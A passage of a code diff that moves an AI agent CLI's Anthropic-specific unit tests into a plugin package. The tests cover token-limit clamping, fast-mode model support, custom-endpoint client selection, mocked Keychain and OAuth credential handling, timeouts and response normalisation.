and any(x.get("type") == "image" for x in b["content"])
]
placeholders = [
b for b in tool_results
if isinstance(b.get("content"), list)
and any(
x.get("type") == "text"
and "screenshot removed" in x.get("text", "")
for x in b["content"]
)
]
assert len(with_images) == 3
assert len(placeholders) == 2
def test_content_parts_helper_filters_to_text_and_image(self):
from agent.anthropic_format import _content_parts_to_anthropic_blocks
fake_png = "iVBORw0KGgo="
blocks = _content_parts_to_anthropic_blocks([
{"type": "text", "text": "hi"},
{"type": "image_url", "image_url": {"url": f"data:image/png;base64,{fake_png}"}},
{"type": "unsupported", "data": "ignored"},
])
types = [b["type"] for b in blocks]
assert "text" in types
assert "image" in types
assert len(blocks) == 2
@@ -0,0 +1,47 @@
"""Anthropic-specific ctx halving tests moved from tests/test_ctx_halving_fix.py."""
# ---------------------------------------------------------------------------
# build_anthropic_kwargs — output cap clamping
# ---------------------------------------------------------------------------
class TestBuildAnthropicKwargsClamping:
"""The context_length clamp only fires when output ceiling > window.
For standard Anthropic models (output ceiling < window) it must not fire.
"""
def _build(self, model, max_tokens=None, context_length=None):
from agent.anthropic_format import build_anthropic_kwargs
return build_anthropic_kwargs(
model=model,
messages=[{"role": "user", "content": "hi"}],
tools=None,
max_tokens=max_tokens,
reasoning_config=None,
context_length=context_length,
)
def test_no_clamping_when_output_ceiling_fits_in_window(self):
"""Opus 4.6 native output (128K) < context window (200K) — no clamping."""
kwargs = self._build("claude-opus-4-6", context_length=200_000)
assert kwargs["max_tokens"] == 128_000
def test_clamping_fires_for_tiny_custom_window(self):
"""When context_length is 8K (local model), output cap is clamped to 7999."""
kwargs = self._build("claude-opus-4-6", context_length=8_000)
assert kwargs["max_tokens"] == 7_999
def test_explicit_max_tokens_respected_when_within_window(self):
"""Explicit max_tokens smaller than window passes through unchanged."""
kwargs = self._build("claude-opus-4-6", max_tokens=4096, context_length=200_000)
assert kwargs["max_tokens"] == 4096
def test_explicit_max_tokens_clamped_when_exceeds_window(self):
"""Explicit max_tokens larger than a small window is clamped."""
kwargs = self._build("claude-opus-4-6", max_tokens=32_768, context_length=16_000)
assert kwargs["max_tokens"] == 15_999
def test_no_context_length_uses_native_ceiling(self):
"""Without context_length the native output ceiling is used directly."""
kwargs = self._build("claude-sonnet-4-6")
assert kwargs["max_tokens"] == 64_000
@@ -23,18 +23,34 @@ def _clean_env(monkeypatch):
monkeypatch.delenv(key, raising=False)
def _install_anthropic_adapter_mocks():
"""Patch build_anthropic_client so the test doesn't need the SDK."""
def _make_fake_anthropic_namespace(build_side_effect=None, build_return=None):
"""Return a fake provider namespace dict and fake client for registry patching.
_try_custom_endpoint() resolves build_anthropic_client through
registries.get_provider_namespace("anthropic"), not via a direct module
import, so we must patch that path (not hermes_agent_anthropic.adapter).
"""
fake_client = MagicMock(name="anthropic_client")
return patch(
"agent.anthropic_adapter.build_anthropic_client",
return_value=fake_client,
), fake_client
if build_side_effect is not None:
mock_build = MagicMock(side_effect=build_side_effect)
else:
mock_build = MagicMock(return_value=build_return or fake_client)
from agent.anthropic_aux import AnthropicAuxiliaryClient as _AC
fake_ns = {
"build_anthropic_client": mock_build,
"AnthropicAuxiliaryClient": _AC,
"AsyncAnthropicAuxiliaryClient": MagicMock(),
}
return fake_ns, fake_client, mock_build
def test_custom_endpoint_anthropic_messages_builds_anthropic_wrapper():
"""api_mode=anthropic_messages → returns AnthropicAuxiliaryClient, not OpenAI."""
from agent.auxiliary_client import _try_custom_endpoint, AnthropicAuxiliaryClient
from agent.auxiliary_client import _try_custom_endpoint
from agent.anthropic_aux import AnthropicAuxiliaryClient
fake_ns, fake_client, _ = _make_fake_anthropic_namespace()
with patch(
"agent.auxiliary_client._resolve_custom_runtime",
@@ -46,10 +62,12 @@ def test_custom_endpoint_anthropic_messages_builds_anthropic_wrapper():
), patch(
"agent.auxiliary_client._read_main_model",
return_value="claude-sonnet-4-6",
):
adapter_patch, fake_client = _install_anthropic_adapter_mocks()
with adapter_patch:
client, model = _try_custom_endpoint()
), patch(
"agent.plugin_registries.registries",
) as mock_reg:
mock_reg.get_provider_namespace.return_value = fake_ns
mock_reg.get_provider_service.side_effect = lambda p, n: fake_ns.get(n) if p == "anthropic" else None
client, model = _try_custom_endpoint()
assert isinstance(client, AnthropicAuxiliaryClient), (
"Custom endpoint with api_mode=anthropic_messages must return the "
@@ -67,6 +85,7 @@ def test_custom_endpoint_anthropic_messages_falls_back_when_sdk_missing():
from agent.auxiliary_client import _try_custom_endpoint
import_error = ImportError("anthropic package not installed")
fake_ns, _, _ = _make_fake_anthropic_namespace(build_side_effect=import_error)
with patch(
"agent.auxiliary_client._resolve_custom_runtime",
@@ -75,9 +94,10 @@ def test_custom_endpoint_anthropic_messages_falls_back_when_sdk_missing():
"agent.auxiliary_client._read_main_model",
return_value="claude-sonnet-4-6",
), patch(
"agent.anthropic_adapter.build_anthropic_client",
side_effect=import_error,
):
"agent.plugin_registries.registries",
) as mock_reg:
mock_reg.get_provider_namespace.return_value = fake_ns
mock_reg.get_provider_service.side_effect = lambda p, n: fake_ns.get(n) if p == "anthropic" else None
client, model = _try_custom_endpoint()
# Should fall back to an OpenAI-wire client rather than returning
@@ -85,13 +105,14 @@ def test_custom_endpoint_anthropic_messages_falls_back_when_sdk_missing():
assert client is not None
assert model == "claude-sonnet-4-6"
# OpenAI client, not AnthropicAuxiliaryClient.
from agent.auxiliary_client import AnthropicAuxiliaryClient
from agent.anthropic_aux import AnthropicAuxiliaryClient
assert not isinstance(client, AnthropicAuxiliaryClient)
def test_custom_endpoint_chat_completions_still_uses_openai_wire():
"""Regression: default path (no api_mode) must remain OpenAI client."""
from agent.auxiliary_client import _try_custom_endpoint, AnthropicAuxiliaryClient
from agent.auxiliary_client import _try_custom_endpoint
from agent.anthropic_aux import AnthropicAuxiliaryClient
with patch(
"agent.auxiliary_client._resolve_custom_runtime",
@@ -0,0 +1,231 @@
"""Anthropic-specific fast mode tests moved from tests/cli/test_fast_command.py."""
import unittest
from types import SimpleNamespace
def _import_cli():
import hermes_cli.config as config_mod
if not hasattr(config_mod, "save_env_value_secure"):
config_mod.save_env_value_secure = lambda key, value: {
"success": True,
"stored_as": key,
"validated": False,
}
import cli as cli_mod
return cli_mod
class TestAnthropicFastMode(unittest.TestCase):
"""Verify Anthropic Fast Mode model support and override resolution."""
def test_anthropic_opus_supported(self):
from hermes_cli.models import model_supports_fast_mode
# Native Anthropic format (hyphens)
assert model_supports_fast_mode("claude-opus-4-6") is True
# OpenRouter format (dots)
assert model_supports_fast_mode("claude-opus-4.6") is True
# With vendor prefix
assert model_supports_fast_mode("anthropic/claude-opus-4-6") is True
assert model_supports_fast_mode("anthropic/claude-opus-4.6") is True
def test_anthropic_non_opus46_models_excluded(self):
"""Anthropic restricts fast mode to Opus 4.6 — others must be excluded.
Per https://platform.claude.com/docs/en/build-with-claude/fast-mode,
sending speed=fast to Opus 4.7, Sonnet, or Haiku returns HTTP 400.
"""
from hermes_cli.models import model_supports_fast_mode
assert model_supports_fast_mode("claude-sonnet-4-6") is False
assert model_supports_fast_mode("claude-sonnet-4.6") is False
assert model_supports_fast_mode("claude-haiku-4-5") is False
assert model_supports_fast_mode("claude-opus-4-7") is False
assert model_supports_fast_mode("anthropic/claude-sonnet-4.6") is False
assert model_supports_fast_mode("anthropic/claude-opus-4-7") is False
def test_non_claude_models_not_anthropic_fast(self):
"""Non-Claude models should not be treated as Anthropic fast-mode."""
from hermes_cli.models import _is_anthropic_fast_model
assert _is_anthropic_fast_model("gpt-5.4") is False
assert _is_anthropic_fast_model("gemini-3-pro") is False
assert _is_anthropic_fast_model("kimi-k2-thinking") is False
def test_anthropic_variant_tags_stripped(self):
from hermes_cli.models import model_supports_fast_mode
# OpenRouter variant tags after colon should be stripped
assert model_supports_fast_mode("claude-opus-4.6:fast") is True
assert model_supports_fast_mode("claude-opus-4.6:beta") is True
def test_resolve_overrides_returns_speed_for_anthropic(self):
from hermes_cli.models import resolve_fast_mode_overrides
result = resolve_fast_mode_overrides("claude-opus-4-6")
assert result == {"speed": "fast"}
result = resolve_fast_mode_overrides("anthropic/claude-opus-4.6")
assert result == {"speed": "fast"}
def test_resolve_overrides_returns_none_for_unsupported_claude(self):
"""Opus 4.7 and other Claude models don't support fast mode (API 400s).
Per Anthropic docs, fast mode is currently Opus 4.6 only.
"""
from hermes_cli.models import resolve_fast_mode_overrides
assert resolve_fast_mode_overrides("claude-opus-4-7") is None
assert resolve_fast_mode_overrides("claude-sonnet-4-6") is None
assert resolve_fast_mode_overrides("claude-haiku-4-5") is None
def test_resolve_overrides_returns_service_tier_for_openai(self):
"""OpenAI models should still get service_tier, not speed."""
from hermes_cli.models import resolve_fast_mode_overrides
result = resolve_fast_mode_overrides("gpt-5.4")
assert result == {"service_tier": "priority"}
def test_is_anthropic_fast_model(self):
"""Fast mode is currently Opus 4.6 only — other Claude variants must be excluded."""
from hermes_cli.models import _is_anthropic_fast_model
# Supported: Opus 4.6 in any form
assert _is_anthropic_fast_model("claude-opus-4-6") is True
assert _is_anthropic_fast_model("claude-opus-4.6") is True
assert _is_anthropic_fast_model("anthropic/claude-opus-4-6") is True
assert _is_anthropic_fast_model("claude-opus-4.6:fast") is True
# Unsupported per Anthropic API contract — would 400 if we sent speed=fast
assert _is_anthropic_fast_model("claude-opus-4-7") is False
assert _is_anthropic_fast_model("claude-sonnet-4-6") is False
assert _is_anthropic_fast_model("claude-haiku-4-5") is False
# Non-Claude
assert _is_anthropic_fast_model("gpt-5.4") is False
assert _is_anthropic_fast_model("") is False
def test_fast_command_exposed_for_anthropic_model(self):
cli_mod = _import_cli()
stub = SimpleNamespace(
provider="anthropic", requested_provider="anthropic",
model="claude-opus-4-6", agent=None,
)
assert cli_mod.HermesCLI._fast_command_available(stub) is True
def test_fast_command_hidden_for_anthropic_sonnet(self):
"""Sonnet doesn't support fast mode (Opus 4.6 only) — /fast must be hidden."""
cli_mod = _import_cli()
stub = SimpleNamespace(
provider="anthropic", requested_provider="anthropic",
model="claude-sonnet-4-6", agent=None,
)
assert cli_mod.HermesCLI._fast_command_available(stub) is False
def test_fast_command_hidden_for_anthropic_opus_47(self):
"""Opus 4.7 doesn't support fast mode — /fast must be hidden."""
cli_mod = _import_cli()
stub = SimpleNamespace(
provider="anthropic", requested_provider="anthropic",
model="claude-opus-4-7", agent=None,
)
assert cli_mod.HermesCLI._fast_command_available(stub) is False
def test_fast_command_hidden_for_non_claude_non_openai(self):
"""Non-Claude, non-OpenAI models should not expose /fast."""
cli_mod = _import_cli()
stub = SimpleNamespace(
provider="gemini", requested_provider="gemini",
model="gemini-3-pro-preview", agent=None,
)
assert cli_mod.HermesCLI._fast_command_available(stub) is False
def test_turn_route_injects_speed_for_anthropic(self):
"""Anthropic models should get speed:'fast' override, not service_tier."""
cli_mod = _import_cli()
stub = SimpleNamespace(
model="claude-opus-4-6",
api_key="sk-ant-test",
base_url="https://api.anthropic.com",
provider="anthropic",
api_mode="anthropic_messages",
acp_command=None,
acp_args=[],
_credential_pool=None,
service_tier="priority",
)
route = cli_mod.HermesCLI._resolve_turn_agent_config(stub, "hi")
assert route["runtime"]["provider"] == "anthropic"
assert route["request_overrides"] == {"speed": "fast"}
class TestAnthropicFastModeAdapter(unittest.TestCase):
"""Verify build_anthropic_kwargs handles fast_mode parameter."""
def test_fast_mode_adds_speed_and_beta(self):
from agent.anthropic_format import build_anthropic_kwargs, _FAST_MODE_BETA
kwargs = build_anthropic_kwargs(
model="claude-opus-4-6",
messages=[{"role": "user", "content": [{"type": "text", "text": "hi"}]}],
tools=None,
max_tokens=None,
reasoning_config=None,
fast_mode=True,
)
assert kwargs.get("extra_body", {}).get("speed") == "fast"
assert "speed" not in kwargs
assert "extra_headers" in kwargs
assert _FAST_MODE_BETA in kwargs["extra_headers"].get("anthropic-beta", "")
def test_fast_mode_off_no_speed(self):
from agent.anthropic_format import build_anthropic_kwargs
kwargs = build_anthropic_kwargs(
model="claude-opus-4-6",
messages=[{"role": "user", "content": [{"type": "text", "text": "hi"}]}],
tools=None,
max_tokens=None,
reasoning_config=None,
fast_mode=False,
)
assert kwargs.get("extra_body", {}).get("speed") is None
assert "speed" not in kwargs
assert "extra_headers" not in kwargs
def test_fast_mode_skipped_for_third_party_endpoint(self):
from agent.anthropic_format import build_anthropic_kwargs
kwargs = build_anthropic_kwargs(
model="claude-opus-4-6",
messages=[{"role": "user", "content": [{"type": "text", "text": "hi"}]}],
tools=None,
max_tokens=None,
reasoning_config=None,
fast_mode=True,
base_url="https://api.minimax.io/anthropic/v1",
)
# Third-party endpoints should NOT get speed or fast-mode beta
assert kwargs.get("extra_body", {}).get("speed") is None
assert "speed" not in kwargs
assert "extra_headers" not in kwargs
def test_fast_mode_kwargs_are_safe_for_sdk_unpacking(self):
from agent.anthropic_format import build_anthropic_kwargs
kwargs = build_anthropic_kwargs(
model="claude-opus-4-6",
messages=[{"role": "user", "content": [{"type": "text", "text": "hi"}]}],
tools=None,
max_tokens=None,
reasoning_config=None,
fast_mode=True,
)
assert "speed" not in kwargs
assert kwargs.get("extra_body", {}).get("speed") == "fast"
@@ -6,7 +6,7 @@ from unittest.mock import patch, MagicMock
import pytest
from agent.anthropic_adapter import (
from hermes_agent_anthropic.adapter import (
_read_claude_code_credentials_from_keychain,
read_claude_code_credentials,
)
@@ -17,42 +17,42 @@ class TestReadClaudeCodeCredentialsFromKeychain:
def test_returns_none_on_linux(self):
"""Keychain reading is Darwin-only; must return None on other platforms."""
with patch("agent.anthropic_adapter.platform.system", return_value="Linux"):
with patch("hermes_agent_anthropic.adapter.platform.system", return_value="Linux"):
assert _read_claude_code_credentials_from_keychain() is None
def test_returns_none_on_windows(self):
with patch("agent.anthropic_adapter.platform.system", return_value="Windows"):
with patch("hermes_agent_anthropic.adapter.platform.system", return_value="Windows"):
assert _read_claude_code_credentials_from_keychain() is None
def test_returns_none_when_security_command_not_found(self):
"""OSError from missing security binary must be handled gracefully."""
with patch("agent.anthropic_adapter.platform.system", return_value="Darwin"), \
patch("agent.anthropic_adapter.subprocess.run",
with patch("hermes_agent_anthropic.adapter.platform.system", return_value="Darwin"), \
patch("hermes_agent_anthropic.adapter.subprocess.run",
side_effect=OSError("security not found")):
assert _read_claude_code_credentials_from_keychain() is None
def test_returns_none_on_nonzero_exit_code(self):
"""security returns non-zero when the Keychain entry doesn't exist."""
with patch("agent.anthropic_adapter.platform.system", return_value="Darwin"), \
patch("agent.anthropic_adapter.subprocess.run") as mock_run:
with patch("hermes_agent_anthropic.adapter.platform.system", return_value="Darwin"), \
patch("hermes_agent_anthropic.adapter.subprocess.run") as mock_run:
mock_run.return_value = MagicMock(returncode=1, stdout="", stderr="")
assert _read_claude_code_credentials_from_keychain() is None
def test_returns_none_for_empty_stdout(self):
with patch("agent.anthropic_adapter.platform.system", return_value="Darwin"), \
patch("agent.anthropic_adapter.subprocess.run") as mock_run:
with patch("hermes_agent_anthropic.adapter.platform.system", return_value="Darwin"), \
patch("hermes_agent_anthropic.adapter.subprocess.run") as mock_run:
mock_run.return_value = MagicMock(returncode=0, stdout="", stderr="")
assert _read_claude_code_credentials_from_keychain() is None
def test_returns_none_for_non_json_payload(self):
with patch("agent.anthropic_adapter.platform.system", return_value="Darwin"), \
patch("agent.anthropic_adapter.subprocess.run") as mock_run:
with patch("hermes_agent_anthropic.adapter.platform.system", return_value="Darwin"), \
patch("hermes_agent_anthropic.adapter.subprocess.run") as mock_run:
mock_run.return_value = MagicMock(returncode=0, stdout="not valid json", stderr="")
assert _read_claude_code_credentials_from_keychain() is None
def test_returns_none_when_password_field_is_missing_claude_ai_oauth(self):
with patch("agent.anthropic_adapter.platform.system", return_value="Darwin"), \
patch("agent.anthropic_adapter.subprocess.run") as mock_run:
with patch("hermes_agent_anthropic.adapter.platform.system", return_value="Darwin"), \
patch("hermes_agent_anthropic.adapter.subprocess.run") as mock_run:
mock_run.return_value = MagicMock(
returncode=0,
stdout=json.dumps({"someOtherService": {"accessToken": "tok"}}),
@@ -61,8 +61,8 @@ class TestReadClaudeCodeCredentialsFromKeychain:
assert _read_claude_code_credentials_from_keychain() is None
def test_returns_none_when_access_token_is_empty(self):
with patch("agent.anthropic_adapter.platform.system", return_value="Darwin"), \
patch("agent.anthropic_adapter.subprocess.run") as mock_run:
with patch("hermes_agent_anthropic.adapter.platform.system", return_value="Darwin"), \
patch("hermes_agent_anthropic.adapter.subprocess.run") as mock_run:
mock_run.return_value = MagicMock(
returncode=0,
stdout=json.dumps({"claudeAiOauth": {"accessToken": "", "refreshToken": "x"}}),
@@ -71,8 +71,8 @@ class TestReadClaudeCodeCredentialsFromKeychain:
assert _read_claude_code_credentials_from_keychain() is None
def test_parses_valid_keychain_entry(self):
with patch("agent.anthropic_adapter.platform.system", return_value="Darwin"), \
patch("agent.anthropic_adapter.subprocess.run") as mock_run:
with patch("hermes_agent_anthropic.adapter.platform.system", return_value="Darwin"), \
patch("hermes_agent_anthropic.adapter.subprocess.run") as mock_run:
mock_run.return_value = MagicMock(
returncode=0,
stdout=json.dumps({
@@ -107,11 +107,11 @@ class TestReadClaudeCodeCredentialsPriority:
"expiresAt": 9999999999999,
}
}))
monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path)
monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path)
# Mock Keychain to return a "newer" token
with patch("agent.anthropic_adapter.platform.system", return_value="Darwin"), \
patch("agent.anthropic_adapter.subprocess.run") as mock_run:
with patch("hermes_agent_anthropic.adapter.platform.system", return_value="Darwin"), \
patch("hermes_agent_anthropic.adapter.subprocess.run") as mock_run:
mock_run.return_value = MagicMock(
returncode=0,
stdout=json.dumps({
@@ -141,10 +141,10 @@ class TestReadClaudeCodeCredentialsPriority:
"expiresAt": 9999999999999,
}
}))
monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path)
monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path)
with patch("agent.anthropic_adapter.platform.system", return_value="Darwin"), \
patch("agent.anthropic_adapter.subprocess.run") as mock_run:
with patch("hermes_agent_anthropic.adapter.platform.system", return_value="Darwin"), \
patch("hermes_agent_anthropic.adapter.subprocess.run") as mock_run:
# Simulate Keychain entry not found
mock_run.return_value = MagicMock(returncode=1, stdout="", stderr="")
creds = read_claude_code_credentials()
@@ -155,10 +155,10 @@ class TestReadClaudeCodeCredentialsPriority:
def test_returns_none_when_neither_keychain_nor_json_has_creds(self, tmp_path, monkeypatch):
"""No credentials anywhere — must return None cleanly."""
monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path)
monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path)
with patch("agent.anthropic_adapter.platform.system", return_value="Darwin"), \
patch("agent.anthropic_adapter.subprocess.run") as mock_run:
with patch("hermes_agent_anthropic.adapter.platform.system", return_value="Darwin"), \
patch("hermes_agent_anthropic.adapter.subprocess.run") as mock_run:
mock_run.return_value = MagicMock(returncode=1, stdout="", stderr="")
creds = read_claude_code_credentials()
@@ -191,7 +191,7 @@ class TestAnthropicOAuthOutgoingPrefix:
tools registered as ``mcp_<server>_<tool>``). GH-25255."""
def _build(self, tools, is_oauth=True):
from agent.anthropic_adapter import build_anthropic_kwargs
from agent.anthropic_format import build_anthropic_kwargs
return build_anthropic_kwargs(
model="claude-sonnet-4-6",
messages=[{"role": "user", "content": "Hi"}],
@@ -30,7 +30,7 @@ class TestStaleOAuthTokenDetection:
# No valid Claude Code credentials available (expired, no refresh token)
monkeypatch.setattr(
"agent.anthropic_adapter.read_claude_code_credentials",
"hermes_agent_anthropic.adapter.read_claude_code_credentials",
lambda: {
"accessToken": "expired-cc-token",
"refreshToken": "", # No refresh — can't recover
@@ -39,16 +39,16 @@ class TestStaleOAuthTokenDetection:
},
)
monkeypatch.setattr(
"agent.anthropic_adapter.is_claude_code_token_valid",
"hermes_agent_anthropic.adapter.is_claude_code_token_valid",
lambda creds: False, # Explicitly expired
)
monkeypatch.setattr(
"agent.anthropic_adapter._is_oauth_token",
"hermes_agent_anthropic.adapter._is_oauth_token",
lambda key: key.startswith("sk-ant-"),
)
# _resolve_claude_code_token_from_credentials has no valid path
monkeypatch.setattr(
"agent.anthropic_adapter._resolve_claude_code_token_from_credentials",
"hermes_agent_anthropic.adapter._resolve_claude_code_token_from_credentials",
lambda creds=None: None,
)
@@ -80,15 +80,15 @@ class TestStaleOAuthTokenDetection:
save_env_value("ANTHROPIC_TOKEN", "")
monkeypatch.setattr(
"agent.anthropic_adapter.read_claude_code_credentials",
"hermes_agent_anthropic.adapter.read_claude_code_credentials",
lambda: None, # No CC creds
)
monkeypatch.setattr(
"agent.anthropic_adapter.is_claude_code_token_valid",
"hermes_agent_anthropic.adapter.is_claude_code_token_valid",
lambda creds: False,
)
monkeypatch.setattr(
"agent.anthropic_adapter._is_oauth_token",
"hermes_agent_anthropic.adapter._is_oauth_token",
lambda key: key.startswith("sk-ant-") and "oat" in key,
)
@@ -116,7 +116,7 @@ class TestStaleOAuthTokenDetection:
# Valid Claude Code credentials with refresh token
monkeypatch.setattr(
"agent.anthropic_adapter.read_claude_code_credentials",
"hermes_agent_anthropic.adapter.read_claude_code_credentials",
lambda: {
"accessToken": "valid-cc-token",
"refreshToken": "valid-refresh",
@@ -124,15 +124,15 @@ class TestStaleOAuthTokenDetection:
},
)
monkeypatch.setattr(
"agent.anthropic_adapter.is_claude_code_token_valid",
"hermes_agent_anthropic.adapter.is_claude_code_token_valid",
lambda creds: True,
)
monkeypatch.setattr(
"agent.anthropic_adapter._is_oauth_token",
"hermes_agent_anthropic.adapter._is_oauth_token",
lambda key: key.startswith("sk-ant-"),
)
monkeypatch.setattr(
"agent.anthropic_adapter._resolve_claude_code_token_from_credentials",
"hermes_agent_anthropic.adapter._resolve_claude_code_token_from_credentials",
lambda creds=None: "valid-cc-token",
)
@@ -114,7 +114,7 @@ def test_authorization_url_state_is_not_pkce_verifier(monkeypatch, tmp_path):
monkeypatch.setattr(builtins, "input", fake_input)
from agent.anthropic_adapter import run_hermes_oauth_login_pure
from hermes_agent_anthropic import run_hermes_oauth_login_pure
result = run_hermes_oauth_login_pure()
assert result is not None, "OAuth flow should succeed with matching state"
@@ -160,7 +160,7 @@ def test_callback_state_mismatch_aborts(monkeypatch, tmp_path, caplog):
capture_token_request=captured_token,
)
from agent.anthropic_adapter import run_hermes_oauth_login_pure
from hermes_agent_anthropic import run_hermes_oauth_login_pure
result = run_hermes_oauth_login_pure()
@@ -64,9 +64,9 @@ class TestOAuthFlagOnRefresh:
agent._is_anthropic_oauth = False
with (
patch("agent.anthropic_adapter.resolve_anthropic_token",
patch("hermes_agent_anthropic.adapter.resolve_anthropic_token",
return_value=_OAUTH_LIKE_TOKEN),
patch("agent.anthropic_adapter.build_anthropic_client",
patch("hermes_agent_anthropic.adapter.build_anthropic_client",
return_value=MagicMock()),
):
result = agent._try_refresh_anthropic_client_credentials()
@@ -85,9 +85,9 @@ class TestOAuthFlagOnRefresh:
agent._is_anthropic_oauth = False
with (
patch("agent.anthropic_adapter.resolve_anthropic_token",
patch("hermes_agent_anthropic.adapter.resolve_anthropic_token",
return_value=_OAUTH_LIKE_TOKEN),
patch("agent.anthropic_adapter.build_anthropic_client",
patch("hermes_agent_anthropic.adapter.build_anthropic_client",
return_value=MagicMock()),
):
result = agent._try_refresh_anthropic_client_credentials()
@@ -111,7 +111,7 @@ class TestOAuthFlagOnCredentialSwap:
entry.runtime_api_key = _OAUTH_LIKE_TOKEN
entry.runtime_base_url = "https://open.bigmodel.cn/api/anthropic"
with patch("agent.anthropic_adapter.build_anthropic_client",
with patch("hermes_agent_anthropic.adapter.build_anthropic_client",
return_value=MagicMock()):
agent._swap_credential(entry)
@@ -125,11 +125,11 @@ class TestOAuthFlagOnConstruction:
with (
patch("run_agent.get_tool_definitions", return_value=[]),
patch("run_agent.check_toolset_requirements", return_value={}),
patch("agent.anthropic_adapter.build_anthropic_client",
patch("hermes_agent_anthropic.adapter.build_anthropic_client",
return_value=MagicMock()),
# Simulate a stale ANTHROPIC_TOKEN in the env — the init code
# MUST NOT fall back to it when provider != anthropic.
patch("agent.anthropic_adapter.resolve_anthropic_token",
patch("hermes_agent_anthropic.adapter.resolve_anthropic_token",
return_value=_OAUTH_LIKE_TOKEN),
):
agent = AIAgent(
@@ -154,7 +154,7 @@ class TestOAuthFlagOnFallbackActivation:
def test_fallback_to_third_party_does_not_flip_oauth(self, agent):
"""Directly mimic the post-fallback assignment at line ~6537."""
from agent.anthropic_adapter import _is_oauth_token
from hermes_agent_anthropic import _is_oauth_token
# Emulate the relevant lines of _try_activate_fallback without
# running the entire recovery stack (which pulls in streaming,
@@ -171,11 +171,11 @@ class TestApiKeyTokensAlwaysSafe:
"""Regression: plain API-key shapes must always resolve to non-OAuth, any provider."""
def test_native_anthropic_with_api_key_token(self):
from agent.anthropic_adapter import _is_oauth_token
from hermes_agent_anthropic import _is_oauth_token
assert _is_oauth_token(_API_KEY_TOKEN) is False
def test_third_party_key_shape(self):
from agent.anthropic_adapter import _is_oauth_token
from hermes_agent_anthropic import _is_oauth_token
# Third-party key shapes (MiniMax 'mxp-...', GLM 'glm.sess.', etc.)
# already return False from _is_oauth_token; the guard adds a second
# defense line in case future token formats accidentally look OAuth-y.
@@ -0,0 +1,22 @@
"""Anthropic-specific timeout tests moved from tests/hermes_cli/test_timeouts.py."""
from __future__ import annotations
def test_anthropic_adapter_honors_timeout_kwarg():
"""build_anthropic_client(timeout=X) overrides the 900s default read timeout."""
pytest = __import__("pytest")
anthropic = pytest.importorskip("anthropic") # skip if optional SDK missing
from hermes_agent_anthropic import build_anthropic_client
c_default = build_anthropic_client("sk-ant-dummy", None)
c_custom = build_anthropic_client("sk-ant-dummy", None, timeout=45.0)
c_invalid = build_anthropic_client("sk-ant-dummy", None, timeout=-1)
# Default stays at 900s; custom overrides; invalid falls back to default
assert c_default.timeout.read == 900.0
assert c_custom.timeout.read == 45.0
assert c_invalid.timeout.read == 900.0
# Connect timeout always stays at 10s regardless
assert c_default.timeout.connect == 10.0
assert c_custom.timeout.connect == 10.0
@@ -0,0 +1,183 @@
"""Tests for the AnthropicMessagesTransport.
Behavioral tests that require the real anthropic transport implementation.
"""
import json
import pytest
from types import SimpleNamespace
from agent.transports import get_transport
from agent.transports.types import NormalizedResponse
@pytest.fixture
def transport():
"""Load the real Anthropic transport by registering the plugin."""
from hermes_agent_anthropic import register as _anthro_register
from agent.plugin_registries import registries
class _Ctx:
def register_transport(self, api_mode, obj):
from agent.transports import register_transport
register_transport(api_mode, obj)
def register_provider_resolver(self, name, fn):
registries.register_provider_resolver(name, fn)
def register_provider_services(self, name, services):
registries.register_provider_services(name, services)
def register_credential_pool_hook(self, name, hook):
registries.register_credential_pool_hook(name, hook)
def register_pricing_provider(self, name, entries):
registries.register_pricing_provider(name, entries)
def register_provider_overlay(self, entry):
registries.register_provider_overlay(entry)
def __getattr__(self, name):
if name.startswith("register_"):
return lambda *a, **kw: None
raise AttributeError(name)
_anthro_register(_Ctx())
return get_transport("anthropic_messages")
class TestAnthropicTransportBehavioral:
# (fixture defined at module level above)
def test_api_mode(self, transport):
assert transport.api_mode == "anthropic_messages"
def test_convert_tools_simple(self, transport):
tools = [{
"type": "function",
"function": {
"name": "test_tool",
"description": "A test",
"parameters": {"type": "object", "properties": {}},
}
}]
result = transport.convert_tools(tools)
assert len(result) == 1
assert result[0]["name"] == "test_tool"
assert "input_schema" in result[0]
def test_validate_response_none(self, transport):
assert transport.validate_response(None) is False
def test_validate_response_empty_content(self, transport):
r = SimpleNamespace(content=[])
assert transport.validate_response(r) is False
def test_validate_response_empty_content_with_end_turn_is_valid(self, transport):
r = SimpleNamespace(content=[], stop_reason="end_turn")
assert transport.validate_response(r) is True
def test_validate_response_empty_content_with_tool_use_is_invalid(self, transport):
r = SimpleNamespace(content=[], stop_reason="tool_use")
assert transport.validate_response(r) is False
def test_validate_response_valid(self, transport):
r = SimpleNamespace(content=[SimpleNamespace(type="text", text="hello")])
assert transport.validate_response(r) is True
def test_map_finish_reason(self, transport):
assert transport.map_finish_reason("end_turn") == "stop"
assert transport.map_finish_reason("tool_use") == "tool_calls"
assert transport.map_finish_reason("max_tokens") == "length"
assert transport.map_finish_reason("stop_sequence") == "stop"
assert transport.map_finish_reason("refusal") == "content_filter"
assert transport.map_finish_reason("model_context_window_exceeded") == "length"
assert transport.map_finish_reason("unknown") == "stop"
def test_extract_cache_stats_none_usage(self, transport):
r = SimpleNamespace(usage=None)
assert transport.extract_cache_stats(r) is None
def test_extract_cache_stats_with_cache(self, transport):
usage = SimpleNamespace(cache_read_input_tokens=100, cache_creation_input_tokens=50)
r = SimpleNamespace(usage=usage)
result = transport.extract_cache_stats(r)
assert result == {"cached_tokens": 100, "creation_tokens": 50}
def test_extract_cache_stats_zero(self, transport):
usage = SimpleNamespace(cache_read_input_tokens=0, cache_creation_input_tokens=0)
r = SimpleNamespace(usage=usage)
assert transport.extract_cache_stats(r) is None
def test_normalize_response_text(self, transport):
"""Test normalization of a simple text response."""
r = SimpleNamespace(
content=[SimpleNamespace(type="text", text="Hello world")],
stop_reason="end_turn",
usage=SimpleNamespace(input_tokens=10, output_tokens=5),
model="claude-sonnet-4-6",
)
nr = transport.normalize_response(r)
assert isinstance(nr, NormalizedResponse)
assert nr.content == "Hello world"
assert nr.tool_calls is None or nr.tool_calls == []
assert nr.finish_reason == "stop"
def test_normalize_response_tool_calls(self, transport):
"""Test normalization of a tool-use response."""
r = SimpleNamespace(
content=[
SimpleNamespace(
type="tool_use",
id="toolu_123",
name="terminal",
input={"command": "ls"},
),
],
stop_reason="tool_use",
